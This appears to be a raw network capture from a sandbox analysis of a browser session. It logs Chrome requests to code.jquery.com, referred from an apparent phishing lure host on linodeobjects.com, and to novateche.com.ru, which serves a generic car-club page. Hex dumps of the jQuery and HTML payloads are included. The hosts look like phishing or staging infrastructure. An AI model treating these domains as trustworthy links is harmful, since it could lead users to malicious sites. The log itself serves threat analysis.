Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49757	151.101.130.137	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-14 02:14:50 UTC	673	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-14 02:14:50 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1617247 Date: Wed, 14 Aug 2024 02:14:50 GMT X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890078-NYC X-Cache: HIT, HIT X-Cache-Hits: 55, 0 X-Timer: S1723601691.526017,VS0,VE1 Vary: Accept-Encoding
2024-08-14 02:14:50 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-08-14 02:14:50 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-08-14 02:14:50 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-08-14 02:14:50 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-08-14 02:14:50 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-08-14 02:14:50 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-08-14 02:14:50 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-08-14 02:14:50 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-08-14 02:14:50 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-08-14 02:14:50 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49759	172.67.194.21	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-14 02:14:50 UTC	341	OUT	GET // HTTP/1.1 Host: novateche.com.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-14 02:14:50 UTC	661	IN	HTTP/1.1 200 OK Date: Wed, 14 Aug 2024 02:14:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.3.33 access-control-allow-origin: * vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7rIcFzNg%2Bg7%2B7OW6y7KN2KIDr2CGCyBhxg88wTy%2FWeYnCFuvIye%2F%2BkBfv5sW7vNhcSrSZr6HwI%2FuCvTjrOJExn5zrxnT112MmLPC7FlDt5xEIwNx8kDdYLotdP%2FdyzeuBCYl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2d6f06ec6b1a17-EWR alt-svc: h3=":443"; ma=86400
2024-08-14 02:14:50 UTC	708	IN	Data Raw: 31 61 65 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 6f 6e 76 65 72 74 69 62 6c 65 20 43 61 72 20 53 6f 63 69 65 74 79 20 2d 20 6e 6f 76 61 74 65 63 68 65 2e 63 6f 6d 2e 72 75 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 Data Ascii: 1ae3<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Convertible Car Society - novateche.com.ru</title> <link href="https://cdn.jsdelivr.ne
2024-08-14 02:14:50 UTC	1369	IN	Data Raw: 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 35 30 70 78 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 65 6e 74 2d 73 65 63 74 69 6f 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 66 6f 6f 74 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 34 33 61 34 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0d 0a Data Ascii: r; color: white; padding: 150px 0; text-align: center; } .content-section { padding: 60px 0; } .footer { background: #343a40; color: white;
2024-08-14 02:14:50 UTC	1369	IN	Data Raw: 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6e 6f 76 61 74 65 63 68 65 2e 63 6f 6d 2e 72 75 2f 23 61 62 6f 75 74 22 3e 41 62 6f 75 74 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6e 6f 76 61 74 65 63 68 65 2e 63 6f 6d 2e 72 75 2f 23 73 65 72 76 69 63 65 73 22 3e 53 65 72 76 69 63 65 73 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0d 0a 20 Data Ascii: <a class="nav-link" href="https://novateche.com.ru/#about">About</a> </li> <li class="nav-item"> <a class="nav-link" href="https://novateche.com.ru/#services">Services</a> </li>
2024-08-14 02:14:50 UTC	1369	IN	Data Raw: 30 64 31 64 37 64 63 64 31 39 61 64 37 64 62 64 39 39 61 63 36 63 31 22 3e 5b 65 6d 61 69 6c 26 23 31 36 30 3b 70 72 6f 74 65 63 74 65 64 5d 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 20 6f 72 20 63 61 6c 6c 20 75 73 20 61 74 20 35 35 35 2d 34 36 37 2d 39 39 38 33 2e 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6c 6f 63 6b 71 75 6f 74 65 20 63 6c 61 73 73 3d 22 62 6c 6f 63 6b 71 75 6f 74 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 6d 62 2d 30 22 3e 41 20 63 61 72 20 69 73 20 6e 6f 74 20 61 20 6c 75 78 75 72 79 20 62 75 74 20 61 20 6e 65 63 65 73 73 69 74 79 2e 20 2d 20 55 6e 6b 6e 6f 77 6e 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 62 6c 6f 63 6b 71 Data Ascii: 0d1d7dcd19ad7dbd99ac6c1">[email protected]</span></a> or call us at 555-467-9983.</p> <blockquote class="blockquote"> <p class="mb-0">A car is not a luxury but a necessity. - Unknown</p> </blockq
2024-08-14 02:14:50 UTC	1369	IN	Data Raw: 64 65 72 6e 20 53 75 70 65 72 63 61 72 73 3c 2f 68 35 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 63 61 72 64 2d 74 65 78 74 22 3e 45 78 70 6c 6f 72 65 20 74 68 65 20 6c 61 74 65 73 74 20 61 6e 64 20 67 72 65 61 74 65 73 74 20 69 6e 20 73 75 70 65 72 63 61 72 20 74 65 63 68 6e 6f 6c 6f 67 79 2c 20 70 65 72 66 6f 72 6d 61 6e 63 65 2c 20 61 6e 64 20 64 65 73 69 67 6e 2e 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6e 6f 76 61 74 65 63 68 65 2e 63 6f 6d 2e 72 75 2f 23 6d 6f 64 65 72 6e 2d 73 75 70 65 72 63 61 72 73 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 52 65 Data Ascii: dern Supercars</h5> <p class="card-text">Explore the latest and greatest in supercar technology, performance, and design.</p> <a href="https://novateche.com.ru/#modern-supercars" class="btn btn-primary">Re
2024-08-14 02:14:50 UTC	707	IN	Data Raw: 20 20 20 20 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6c 69 73 74 2d 69 6e 6c 69 6e 65 2d 69 74 65 6d 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6e 6f 76 61 74 65 63 68 65 2e 63 6f 6d 2e 72 75 2f 23 74 65 72 6d 73 22 3e 54 65 72 6d 73 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6c 69 73 74 2d 69 6e 6c 69 6e 65 2d 69 74 65 6d 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6e 6f 76 61 74 65 63 68 65 2e 63 6f 6d 2e 72 75 2f 23 66 61 71 22 3e 46 41 51 3c 2f 61 3e 0d 0a 20 20 20 20 20 Data Ascii: </li> <li class="list-inline-item"> <a href="https://novateche.com.ru/#terms">Terms</a> </li> <li class="list-inline-item"> <a href="https://novateche.com.ru/#faq">FAQ</a>
2024-08-14 02:14:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49761	151.101.2.137	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-14 02:14:51 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-14 02:14:51 UTC	606	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 14 Aug 2024 02:14:51 GMT Age: 1617248 X-Served-By: cache-lga21931-LGA, cache-ewr18152-EWR X-Cache: HIT, HIT X-Cache-Hits: 3208, 2 X-Timer: S1723601692.936082,VS0,VE0 Vary: Accept-Encoding
2024-08-14 02:14:51 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 